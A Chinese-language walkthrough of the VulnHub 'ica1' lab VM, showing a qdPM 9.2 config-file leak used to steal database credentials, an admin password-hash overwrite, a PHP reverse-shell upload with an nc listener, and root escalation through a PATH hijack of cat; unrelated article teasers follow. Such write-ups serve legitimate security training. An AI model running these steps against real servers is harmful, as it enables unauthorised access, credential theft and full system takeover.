vulnhub——ica1.ova_qdpm9.2漏洞-程序员宅基地
技术标签： 网络安全
题目来源：Vulnerable By Design ~ VulnHub
题目：ica1.ova
题目类型：渗透靶机
解题过程：
一、信息收集
靶机(linux)：
攻击机(kalli)：192.168.3.25
辅助机（win）：192.168.3.18
-
发现主机
-
-
访问http试试看
有登陆界面试试sql注入
貌似不行。
跑一跑目录试试
没有什么东西。
看得到下面的qdpm9.2,搜索是否有漏洞
二、利用漏洞
cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
按照说明获取yml文件
wget http://192.168.3.12/core/config/databases.yml
┌──(root㉿kali)-[/usr/share]
└─#cat databases.yml
all:
doctrine:
class: sfDoctrineDatabase
param:
dsn: 'mysql:dbname=qdpm;host=localhost'
profiler: false
username: qdpmadmin
password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
attributes:
quote_identifier: true
获得mysql数据库信息
<mark>dbname:</mark>`qdpm`
<mark>username:</mark>`qdpmadmin`
<mark>password:</mark>`UcVQCMQk2STVeS6J`
- 连接数据库
- 查询数据库中有用得信息
重要的信息就都在这里了
可以看出管理员邮箱和密码
登录一下，密码错误，应该用加密的密码登录不了
查阅资料：
谈谈常见的加密和哈希值表示法:
- "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。
- "{MD5}" 表示该字符串是 MD5 哈希值。
- "{SHA1}" 表示该字符串是 SHA-1 哈希值。
- "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。
- "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。
- "$2y$" 也表示经过 Bcrypt 加密的密码哈希。
- "$5$" 表示经过 SHA-256 加密的密码哈希。
- "$6$" 表示经过 SHA-512 加密的密码哈希。
不同的前缀标识可以帮助快速识别字符串的加密方式,但不会透露真正的原文密码。
加密脚本：
from passlib.hash import phpass
# 加密
password = "ABCDEF"
hashed_password = phpass.hash(password)
print(hashed_password)
# 验证
if phpass.verify(password, hashed_password):
print("Password matched")
else:
print("Password did not match")
加密后得到值： P P PHZmfsh9BfQFM1jv92LYAU/L2p6/0Sh1
替换原来的值，现在密码就是ABCDEF了
登录
添加一个自己的信息，有管理员权限
-
上传 Reverse Shell
登录自己创建的账号
新建项目，上传Reverse Shell
-
寻找上传的文件位置。对网站目录进行枚举，发现
http://192.168.3.25/uploads/attachments/目录，上传的附件就保存在此处。 -
在本地终端监听端口。
nc -lvnp 8848
- 点击文件
php-reverse-shell.php，本机监听处收到请求，成功建立反弹shell
升级一下shell
python -c 'import pty; pty.spawn("/bin/bash")'
三、提权
搜索可执行文件，发现文件get_access
执行一下这个命令
- 尝试读取该文件的字符内容，发现
setuid字样，及cat读取root路径下文件的语句。猜测该程序先设置了UID，之后调用cat读取文件。可以考虑通过替换cat提权。
- 更改环境变量
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
四、获得Flag
这里是引用
智能推荐
c# 调用非托管代码_c# 声明kernel32 函数-程序员宅基地
文章浏览阅读956次，点赞3次，收藏5次。编程过程中，一般c#调用非托管的代码有两种方式：1.直接调用从DLL中导出的函数。2.调用COM对象上的接口方法。首先说明第1种方式，基本步骤如下：1.使用关键字static,extern声明需要导出的函数。2.把DllImport 属性附加到函数上。3.掌握常用的数据类型传递的对应关系。4.如果需要，为函数的参数和返回值指定自定义数据封送处理信息，这将重写.net framework默认的封送处理。简单举例如下：托管函数原型：DWORD GetShortPathName(LPCTST_c# 声明kernel32 函数
高频交易及化资策与区_hudson river trading-程序员宅基地
文章浏览阅读406次。转 高频交易及量化投资的策略与误区一、高频交易公司和量化投资公司的区别一般来说，高频交易公司和量化投资公司既有联系，又有区别。在美国，人们常说的高频交易公司一般都是自营交易公司，这些公司主要有Getco、Tower Research、Hudson River Trading、SIG、Virtu Financial、Jump Trading、RGM Advisor、Chopper Tradi..._hudson river trading
C语言文件操作相关的函数_c语言与文件处理有关的函数-程序员宅基地
文章浏览阅读865次。文件的打开和关闭文件在读写之前应该先打开文件，在使用结束之后应该关闭文件。在编写程序的时候，在打开文件的同时，都会返回一个FILE*的指针变量指向该文件，也相当于建立了指针和文件 的关系。ANSIC 规定使用fopen函数来打开文件，fclose来关闭文件。FILE * fopen ( const char * filename, const char * mode ); int fcl..._c语言与文件处理有关的函数
java 无法读取文件_java 读取文件，无法显示文件内容，如何解决？ 谢谢。-程序员宅基地
文章浏览阅读1.1k次。从来没见过进行文件读取写入时，在写入中需要随机数的，你读取文件就是从一个地方获取输入流，然后将这个输入流写到别的地方，根本不要随机数。给你一个示例：//copyafiletoanotherfilebyusingFileReader/FileWriterimportjava.io.*;publicclassTFileRead{publicstaticvoidmain(S..._java复制文件文件没有内容显示
vue引入原生高德地图_前端引入原生地图-程序员宅基地
文章浏览阅读556次，点赞2次，收藏3次。由于工作上的需要，今天捣鼓了半天高德地图。如果定制化开发需求不太高的话，可以用vue-amap，这个我就不多说了，详细就看官网 https://elemefe.github.io/vue-amap/#/zh-cn/introduction/install然而我们公司需要英文版的高德，我看vue-amap中好像没有这方面的配置，而且还有一些其他的定制化开发需求，然后就只用原生的高德。其实原生的引入也不复杂，但是有几个坑要填一下。1. index.html注意，引入的高德js一定要放在头部而_前端引入原生地图
ViewGroup重写大法 （一）-程序员宅基地
文章浏览阅读104次。本文介绍ViewGroup重写，我们所熟知的LinearLayout，RelativeLayout，FrameLayout等等，所有的容器类都是ViewGroup的子类，ViewGroup又继承View。我们在熟练应用这些现成的系统布局的时候可能有时候就不能满足我们自己的需求了，这是我们就要自己重写一个容器来实现效果。ViewGroup重写可以达到各种效果，下面写一个简单的重写一个Vi..._viewgroup 重写
随便推点
台式计算机有没有无线连接模块,台式机能不能连接wifi_台式机怎么连接wifi-程序员宅基地
文章浏览阅读1.2k次。2016-12-30 09:54:26你好！很高兴为你解答，先将无线路由器接通电源，然后插上网线，将另一端插到你电脑上，等网络通了之后，你在IE浏览器上输入：192.168.1.1(这是一般无线路由器的IP，如果有特殊...2016-12-16 11:44:30手机系统问题，可能系统出现了问题，导致连接上了WiFi却无法上网。重启一下路由器试试，或者将路由器恢复一下出厂设置，然后重新拨号上网，并根..._计算机无线模块怎么看
OpenGLES编程思想-程序员宅基地
文章浏览阅读4.8k次。最近在看gles的reference，想多了解一下gles的底层，gles是opengl在khronos在嵌入式设备上的图形硬件的软件访问接口，很多东西和opengl似曾相似，但是和opengl又有很大的不同，最新的标准是gles3.2，标准文档非常长，如果不是写引擎没必要对每个接口烂熟于心，但是为了能够了解他，我对他的编程思想做个总结，最重要的是理解gles的设计思路，然后在使用的时候也必将容易找到相关接口。所以本文基本不会列出gles的每个接口，不会记录讲解每个接口，而是希望能够通过总结gles的设计思_gles
linux命令行去掉滴滴声_linux一直叮叮叮-程序员宅基地
文章浏览阅读2.6k次，点赞2次，收藏2次。在CentOS中，我们常用Tab键进行命令补全，但是系统总是提示滴滴声，让人很烦躁。 即使把音频设备关掉，或者虚拟机的音频设备也关掉，还是有这个声音。 如果不喜欢这个声音，可以通过修改配置去掉它。用vi 编辑 /etc/inputrc 文件，在vi的命令模式下，用键盘方向键进行定位， 找到“#set bell-style none”，用X 删除语句前方的#号，就可以了。“： wq_linux一直叮叮叮
Java从零开始 第10.5讲 面向对象的习题课_编写一个测试类booktest,创建几个book对象,并打印它们的字符串表示,同时判断-程序员宅基地
文章浏览阅读197次。面向对象的习题课类的定义员工类Employee求和类Sum类与对象书籍类BookBook类的测试类BookTest异常能扩容的MyList类剪刀石头布转载请注明出处在这一讲中我会给出一些关于面向对象部分的习题，同样希望在不看答案的情况下自己编写，即使看过了答案，也要能够在不看答案的情况下写出来。类的定义员工类Employee定义在同一个公司工作的Employee类，要求其中含有属性：员工的名字，员工的年龄，员工的爱好，员工的公司名（注意当公司更名时，所有员工的公司名都需要更名），工作地点默认为中国（_编写一个测试类booktest,创建几个book对象,并打印它们的字符串表示,同时判断
Spark伪分布安装（依赖Hadoop）_下载spark的hadoop依赖-程序员宅基地
文章浏览阅读6.7k次，点赞7次，收藏14次。一、伪分布安装Spark安装环境：Ubuntu 14.04 LTS 64位+Hadoop2.7.2+Spark2.0.0+jdk1.7.0_761、安装jdk1.7（1）下载jdk-7u76-linux-x64.tar.gz；（2）解压jdk-7u76-linux-x64.tar.gz，并将其移动到/opt/java/jdk路径下（自建）；命令：tar -zxvf jdk-_下载spark的hadoop依赖
TCP/IP 是用于因特网 (Internet) 的通信协议_广泛应用在internet中的tcp/ip的网络管理主要使用的是 ____协议。 (填空题)-程序员宅基地
文章浏览阅读6.7k次。计算机通信协议计算机通信协议是对那些计算机必须遵守以便彼此通信的规则的描述。什么是 TCP/IP？TCP/IP 是供已连接因特网的计算机进行通信的通信协议。TCP/IP 指传输控制协议/网际协议 (Transmission Control Protocol / Internet Protocol)。TCP/IP 定义了电子设备（比如计算机）如何连入因特网，以及数据如何在它们之间传输的标准..._广泛应用在internet中的tcp/ip的网络管理主要使用的是 ____协议。 (填空题)